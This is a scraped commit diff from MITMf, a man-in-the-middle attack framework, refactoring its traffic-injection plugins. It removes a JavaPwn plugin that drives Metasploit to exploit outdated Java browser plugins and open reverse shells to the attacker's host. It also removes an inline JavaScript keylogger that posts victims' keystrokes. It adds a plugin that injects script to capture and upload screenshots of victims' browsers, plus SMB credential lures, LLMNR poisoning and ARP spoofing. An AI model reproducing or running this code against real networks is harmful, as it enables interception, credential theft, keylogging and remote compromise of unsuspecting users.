|
||||
|
||||
if self.black_domains[0] != '':
|
||||
if host in self.black_domains:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def _should_inject(self, ip, hn, mime):
|
||||
|
||||
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||
|
@ -153,12 +169,14 @@ class Inject(Plugin):
|
|||
def pluginOptions(self, options):
|
||||
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
||||
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
||||
options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.")
|
||||
options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.")
|
||||
options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)")
|
||||
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
|
||||
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
|
||||
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
|
||||
group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips")
|
||||
group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips")
|
||||
group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)")
|
||||
group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)")
|
||||
group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)")
|
||||
group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)")
|
||||
|
|
|
@ -1,231 +0,0 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import string
|
||||
import random
|
||||
import threading
|
||||
import sys
|
||||
import logging
|
||||
|
||||
from time import sleep
|
||||
from core.msfrpc import Msfrpc
|
||||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.BrowserProfiler import BrowserProfiler
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class JavaPwn(Plugin):
|
||||
name = "JavaPwn"
|
||||
optname = "javapwn"
|
||||
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
|
||||
tree_output = []
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.msfip = SystemConfig.getIP(options.interface)
|
||||
|
||||
try:
|
||||
msfcfg = options.configfile['MITMf']['Metasploit']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e))
|
||||
|
||||
try:
|
||||
self.javacfg = options.configfile['JavaPwn']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config for JavaPwn: {}".format(e))
|
||||
|
||||
self.msfport = msfcfg['msfport']
|
||||
self.rpcip = msfcfg['rpcip']
|
||||
self.rpcpass = msfcfg['rpcpass']
|
||||
|
||||
#Initialize the BrowserProfiler plugin
|
||||
BrowserProfiler.initialize(self, options)
|
||||
self.black_ips = []
|
||||
|
||||
try:
|
||||
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
||||
self.msf.login('msf', self.rpcpass)
|
||||
version = self.msf.call('core.version')['version']
|
||||
self.tree_output.append("Connected to Metasploit v{}".format(version))
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
|
||||
def onConfigChange(self):
|
||||
self.initialize(self.options)
|
||||
|
||||
def startThread(self, options):
|
||||
self.pwn()
|
||||
|
||||
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
||||
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
|
||||
|
||||
def get_exploit(self, java_version):
|
||||
exploits = []
|
||||
|
||||
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
|
||||
client_uversion = int(java_version.split('.')[3])
|
||||
|
||||
for ver in self.javacfg['Multi'].iteritems():
|
||||
if type(ver[1]) is list:
|
||||
for list_vers in ver[1]:
|
||||
|
||||
version_string = list_vers[:-len(list_vers.split('.')[3])-1]
|
||||
update_version = int(list_vers.split('.')[3])
|
||||
|
||||
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
|
||||
if client_uversion == update_version:
|
||||
exploits.append(ver[0])
|
||||
elif (client_vstring == version_string):
|
||||
if client_uversion <= update_version:
|
||||
exploits.append(ver[0])
|
||||
else:
|
||||
version_string = ver[1][:-len(ver[1].split('.')[3])-1]
|
||||
update_version = int(ver[1].split('.')[3])
|
||||
|
||||
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
|
||||
if client_uversion == update_version:
|
||||
exploits.append(ver[0])
|
||||
elif client_vstring == version_string:
|
||||
if client_uversion <= update_version:
|
||||
exploits.append(ver[0])
|
||||
|
||||
return exploits
|
||||
|
||||
|
||||
def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||
#inject iframe
|
||||
mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip))
|
||||
self.html_payload = "<iframe src='http://{}:{}' height=0%% width=0%%></iframe>".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
||||
|
||||
mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip))
|
||||
|
||||
exit = False
|
||||
i = 1
|
||||
while i <= 30: #wait max 60 seconds for a new shell
|
||||
if exit:
|
||||
break
|
||||
shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions
|
||||
if len(shell) > 0:
|
||||
for k, v in shell.iteritems():
|
||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||
mitmf_logger.info("{} >> Got shell!".format(client_ip))
|
||||
self.sploited_ips.append(client_ip) #target successfuly owned :)
|
||||
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
||||
exit = True
|
||||
break
|
||||
sleep(2)
|
||||
i += 1
|
||||
|
||||
if exit is False: #We didn't get a shell :(
|
||||
mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip))
|
||||
|
||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||
|
||||
def send_command(self, cmd, vic_ip):
|
||||
try:
|
||||
mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip))
|
||||
|
||||
#Create a virtual console
|
||||
console_id = self.msf.call('console.create')['id']
|
||||
|
||||
#write the cmd to the newly created console
|
||||
self.msf.call('console.write', [console_id, cmd])
|
||||
|
||||
mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip))
|
||||
except Exception, e:
|
||||
mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e))
|
||||
|
||||
def pwn(self):
|
||||
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||
while True:
|
||||
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
|
||||
|
||||
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
|
||||
|
||||
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
|
||||
|
||||
vic_ip = brwprofile['ip']
|
||||
|
||||
mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version']))
|
||||
mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip))
|
||||
|
||||
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
|
||||
|
||||
if exploits:
|
||||
|
||||
if len(exploits) > 1:
|
||||
mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits)))
|
||||
exploit = random.choice(exploits)
|
||||
mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit))
|
||||
else:
|
||||
mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0]))
|
||||
exploit = exploits[0]
|
||||
|
||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||
jobs = self.msf.call('job.list') #get running jobs
|
||||
if len(jobs) > 0:
|
||||
for k, v in jobs.iteritems():
|
||||
info = self.msf.call('job.info', [k])
|
||||
if exploit in info['name']:
|
||||
mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit))
|
||||
url = info['uripath'] #get the url assigned to the exploit
|
||||
self.injectWait(self.msf, url, vic_ip)
|
||||
|
||||
else: #here we setup the exploit
|
||||
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
|
||||
rand_url = self.rand_url()
|
||||
#generate the command string to send to the virtual console
|
||||
#new line character very important as it simulates a user pressing enter
|
||||
cmd = "use exploit/{}\n".format(exploit)
|
||||
cmd += "set SRVPORT {}\n".format(self.msfport)
|
||||
cmd += "set URIPATH {}\n".format(rand_url)
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform
|
||||
cmd += "set LHOST {}\n".format(self.msfip)
|
||||
cmd += "set LPORT {}\n".format(rand_port)
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
mitmf_logger.debug("command string:\n{}".format(cmd))
|
||||
|
||||
self.send_command(cmd, vic_ip)
|
||||
|
||||
self.injectWait(rand_url, vic_ip)
|
||||
else:
|
||||
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
|
||||
mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip))
|
||||
mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip))
|
||||
|
||||
rand_url = self.rand_url()
|
||||
rand_port = random.randint(1000, 65535)
|
||||
|
||||
cmd = "use exploit/multi/browser/java_signed_applet\n"
|
||||
cmd += "set SRVPORT {}\n".format(self.msfport)
|
||||
cmd += "set URIPATH {}\n".format(rand_url)
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
|
||||
cmd += "set LHOST {}\n".format(self.msfip)
|
||||
cmd += "set LPORT {}\n".format(rand_port)
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
self.send_command(cmd, vic_ip)
|
||||
self.injectWait(rand_url, vic_ip)
|
||||
sleep(1)
|
|
@ -18,151 +18,54 @@
|
|||
# USA
|
||||
#
|
||||
import logging
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class jskeylogger(Plugin):
|
||||
name = "Javascript Keylogger"
|
||||
class jskeylogger(Inject, Plugin):
|
||||
name = "JSKeylogger"
|
||||
optname = "jskeylogger"
|
||||
desc = "Injects a javascript keylogger into clients webpages"
|
||||
version = "0.2"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
inject = Inject()
|
||||
inject.initialize(options)
|
||||
inject.html_payload = self.msf_keylogger()
|
||||
ProxyPlugins.getInstance().addPlugin(inject)
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.msf_keylogger()
|
||||
|
||||
def clientRequest(self, request):
|
||||
#Handle the plugin output
|
||||
if 'keylog' in request.uri:
|
||||
request.printPostData = False
|
||||
|
||||
client_ip = request.client.getClientIP()
|
||||
|
||||
raw_keys = request.postData.split("&&")[0]
|
||||
keys = raw_keys.split(",")
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
||||
input_field = request.postData.split("&&")[1]
|
||||
|
||||
keys = raw_keys.split(",")
|
||||
if keys:
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
||||
nice = ''
|
||||
for n in keys:
|
||||
if n == '9':
|
||||
nice += "<TAB>"
|
||||
elif n == '8':
|
||||
nice = nice.replace(nice[-1:], "")
|
||||
nice = nice[:-1]
|
||||
elif n == '13':
|
||||
nice = ''
|
||||
else:
|
||||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n))
|
||||
mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n))
|
||||
|
||||
mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice))
|
||||
mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice))
|
||||
|
||||
def msf_keylogger(self):
|
||||
#Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS
|
||||
keylogger = open("./core/javascript/msfkeylogger.js", "r").read()
|
||||
|
||||
payload = """<script type="text/javascript">
|
||||
window.onload = function mainfunc(){
|
||||
var2 = ",";
|
||||
name = '';
|
||||
function make_xhr(){
|
||||
var xhr;
|
||||
try {
|
||||
xhr = new XMLHttpRequest();
|
||||
} catch(e) {
|
||||
try {
|
||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
} catch(e) {
|
||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
}
|
||||
}
|
||||
if(!xhr) {
|
||||
throw "failed to create XMLHttpRequest";
|
||||
}
|
||||
return xhr;
|
||||
}
|
||||
|
||||
xhr = make_xhr();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||
eval(xhr.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
if (window.addEventListener) {
|
||||
document.addEventListener('keypress', function2, true);
|
||||
document.addEventListener('keydown', function1, true);
|
||||
} else if (window.attachEvent) {
|
||||
document.attachEvent('onkeypress', function2);
|
||||
document.attachEvent('onkeydown', function1);
|
||||
} else {
|
||||
document.onkeypress = function2;
|
||||
document.onkeydown = function1;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function function2(e)
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
var3 = (window.event) ? window.event.keyCode : e.which;
|
||||
var3 = var3.toString(16);
|
||||
|
||||
if (var3 != "d")
|
||||
{
|
||||
andxhr(var3, srcname);
|
||||
}
|
||||
}
|
||||
|
||||
function function1(e)
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
id = window.event.srcElement.id;
|
||||
|
||||
var3 = (window.event) ? window.event.keyCode : e.which;
|
||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||
{
|
||||
andxhr(var3, srcname);
|
||||
}
|
||||
else if (var3 == 0)
|
||||
{
|
||||
|
||||
text = document.getElementById(id).value;
|
||||
if (text.length != 0)
|
||||
{
|
||||
andxhr(text.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function andxhr(key, inputName)
|
||||
{
|
||||
if (inputName != name)
|
||||
{
|
||||
name = inputName;
|
||||
var2 = ",";
|
||||
}
|
||||
|
||||
var2= var2 + key + ",";
|
||||
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(var2 + '&&' + inputName);
|
||||
|
||||
if (key == 13 || var2.length > 3000)
|
||||
{
|
||||
var2 = ",";
|
||||
}
|
||||
}
|
||||
</script>"""
|
||||
|
||||
return payload
|
||||
return '<script type="text/javascript">\n' + keylogger + '\n</script>'
|
||||
|
|
|
@ -34,7 +34,7 @@ class Responder(Plugin):
|
|||
name = "Responder"
|
||||
optname = "responder"
|
||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
version = "0.2"
|
||||
has_opts = True
|
||||
|
||||
|
@ -88,7 +88,32 @@ class Responder(Plugin):
|
|||
LDAPServer().start(smbChal)
|
||||
|
||||
if options.analyze:
|
||||
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||
self.IsICMPRedirectPlausible(self.ourip)
|
||||
|
||||
def IsICMPRedirectPlausible(self, IP):
|
||||
result = []
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
|
||||
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
|
||||
else:
|
||||
pass
|
||||
|
||||
def IsOnTheSameSubnet(self, ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def pluginReactor(self, strippingFactory):
|
||||
reactor.listenTCP(3141, strippingFactory)
|
||||
|
@ -100,5 +125,6 @@ class Responder(Plugin):
|
|||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
||||
# Removed these options until I find a better way of implementing them
|
||||
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
||||
|
|
|
@ -21,9 +21,8 @@
|
|||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
class SMBAuth(Plugin):
|
||||
class SMBAuth(Inject, Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
|
@ -33,10 +32,8 @@ class SMBAuth(Plugin):
|
|||
def initialize(self, options):
|
||||
self.target_ip = SystemConfig.getIP(options.interface)
|
||||
|
||||
inject = Inject()
|
||||
inject.initialize(options)
|
||||
inject.html_payload = self._get_data()
|
||||
ProxyPlugins.getInstance().addPlugin(inject)
|
||||
Inject.initialize(options)
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
|
|
|
@ -31,7 +31,7 @@ class HSTSbypass(Plugin):
|
|||
optname = 'hsts'
|
||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||
version = "0.4"
|
||||
tree_output = ["SSLstrip+ by Leonardo Nve running"]
|
||||
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
|
|
53
plugins/Screenshotter.py
Normal file
53
plugins/Screenshotter.py
Normal file
|
@ -0,0 +1,53 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import base64
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.Inject import Inject
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ScreenShotter(Inject, Plugin):
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
def clientRequest(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.printPostData = False
|
||||
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
with open(img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(request.postData[30:] + '=='))
|
||||
img.close()
|
||||
|
||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
|
||||
|
||||
def get_payload(self):
|
||||
canvas = open("./core/javascript/screenshot.js", "rb").read()
|
||||
return '<script type="text/javascript">' + canvas + '</script>'
|
|
@ -32,7 +32,6 @@ class Spoof(Plugin):
|
|||
name = "Spoof"
|
||||
optname = "spoof"
|
||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||
tree_output = list()
|
||||
version = "0.6"
|
||||
has_opts = True
|
||||
|
||||
|
@ -63,7 +62,7 @@ class Spoof(Plugin):
|
|||
arpwatch = ARPWatch(options.gateway, self.myip, options.interface)
|
||||
arpwatch.debug = debug
|
||||
|
||||
self.tree_output.append("ARPWatch online")
|
||||
self.tree_info.append("ARPWatch online")
|
||||
self.protocolInstances.append(arpwatch)
|
||||
|
||||
arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)
|
||||
|
|
|
@ -10,6 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
|
|||
class Plugin(ConfigWatcher, object):
|
||||
name = "Generic plugin"
|
||||
optname = "generic"
|
||||
tree_info = list()
|
||||
desc = ""
|
||||
has_opts = False
|
||||
|
||||
|
|
|
@ -4,10 +4,7 @@ scapy
|
|||
msgpack-python
|
||||
dnspython
|
||||
dnslib
|
||||
user-agents
|
||||
configobj
|
||||
pyyaml
|
||||
ua-parser
|
||||
Pillow
|
||||
pefile
|
||||
ipy
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue